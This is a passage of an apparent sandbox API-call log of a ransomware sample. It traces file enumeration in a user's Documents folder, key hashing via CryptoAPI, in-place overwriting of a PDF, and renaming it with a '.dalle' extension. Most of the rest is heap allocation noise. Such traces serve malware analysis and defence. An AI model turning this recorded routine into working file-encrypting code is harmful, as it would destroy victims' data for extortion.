dwFlags=0x0, lpMem=0x3023140 | out: hHeap=0x5e0000) returned 1 [0121.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e018 | out: hHeap=0x5e0000) returned 1 [0121.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e188 | out: hHeap=0x5e0000) returned 1 [0121.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e5d8 | out: hHeap=0x5e0000) returned 1 [0121.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0d20 | out: hHeap=0x5e0000) returned 1 [0121.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30949f8 | out: hHeap=0x5e0000) returned 1 [0121.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3094960 | out: hHeap=0x5e0000) returned 1 [0121.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0121.941] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6e48 [0121.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6d80 | out: hHeap=0x5e0000) returned 1 [0121.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.941] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cf3feb0, ftCreationTime.dwHighDateTime=0x1d4cadf, ftLastAccessTime.dwLowDateTime=0xd0733cb0, ftLastAccessTime.dwHighDateTime=0x1d4ca29, ftLastWriteTime.dwLowDateTime=0xd0733cb0, ftLastWriteTime.dwHighDateTime=0x1d4ca29, nFileSizeHigh=0x0, nFileSizeLow=0x8dce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sw-G7SU7kk.pdf", cAlternateFileName="SW-G7S~1.PDF")) returned 1 [0121.941] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.941] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x106) returned 0x3011f48 [0121.941] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.941] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\Sw-G7SU7kk.pdf") returned=".pdf" [0121.941] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\Sw-G7SU7kk.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\sw-g7su7kk.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.942] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=36302) returned 1 [0121.942] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.944] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8da8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.944] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.946] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0121.946] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.946] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.946] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x8dce, lpOverlapped=0x0) returned 1 [0121.946] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.946] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.946] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.946] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.947] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0121.947] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.947] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.947] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.947] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0121.947] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.947] GetLastError () returned 0x0 [0121.948] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.948] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0121.948] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.948] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8dd0) returned 0x3096780 [0121.948] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0121.948] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0121.948] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x8dc9, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x8dc9, lpOverlapped=0x0) returned 1 [0121.948] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.948] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x8dce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.948] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0121.948] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x3093b88 [0121.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x3093b88, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0121.948] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3093fb8 [0121.948] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.948] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0121.948] WriteFile (in: hFile=0x618, lpBuffer=0x3093fb8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3093fb8*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.949] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093fb8 | out: hHeap=0x5e0000) returned 1 [0121.949] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.949] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.949] CloseHandle (hObject=0x618) returned 1 [0121.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc0) returned 0x2ff6cb8 [0121.950] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8d0) returned 0x3093b88 [0121.950] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.950] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\Sw-G7SU7kk.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\sw-g7su7kk.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YSKur86t\\7sg88LIA79bVPrOA\\jCjO-w4 p w1\\Sw-G7SU7kk.pdf.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yskur86t\\7sg88lia79bvproa\\jcjo-w4 p w1\\sw-g7su7kk.pdf.dalle")) returned 1 [0121.951] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.951] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.952] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0121.952] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14da6670, ftCreationTime.dwHighDateTime=0x1d4ceef, ftLastAccessTime.dwLowDateTime=0xe3727880, ftLastAccessTime.dwHighDateTime=0x1d4d1db, ftLastWriteTime.dwLowDateTime=0xe3727880, ftLastWriteTime.dwHighDateTime=0x1d4d1db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sx6 WWNEtkP28pvoC", cAlternateFileName="SX6WWN~1")) returned 1 [0121.952] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac688 [0121.952] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac760 [0121.952] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xd0) returned 0x2fac838 [0121.952] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac760 | out: hHeap=0x5e0000) returned 1 [0121.952] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fac688 | out: hHeap=0x5e0000) returned 1 [0121.952] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14da6670, ftCreationTime.dwHighDateTime=0x1d4ceef, ftLastAccessTime.dwLowDateTime=0xe3727880, ftLastAccessTime.dwHighDateTime=0x1d4d1db, ftLastWriteTime.dwLowDateTime=0xe3727880, ftLastWriteTime.dwHighDateTime=0x1d4d1db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sx6 WWNEtkP28pvoC", cAlternateFileName="SX6WWN~1")) returned 0 [0121.952] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.952] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.952] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e3b0 | out: hHeap=0x5e0000) returned 1 [0121.952] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.952] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e3b0 [0121.952] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.952] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.952] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.952] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.952] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.952] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.952] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.952] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.954] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.954] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.954] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.954] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.954] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.954] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.954] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.954] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.954] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.954] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.954] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.954] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.954] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.954] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.954] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.954] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.954] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.954] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.954] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.954] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.954] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.954] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.954] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.954] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.954] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.954] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.954] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.954] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.954] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xb0) returned 0x2f9e690 [0121.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e690 | out: hHeap=0x5e0000) returned 1 [0121.957] RtlAllocateHeap 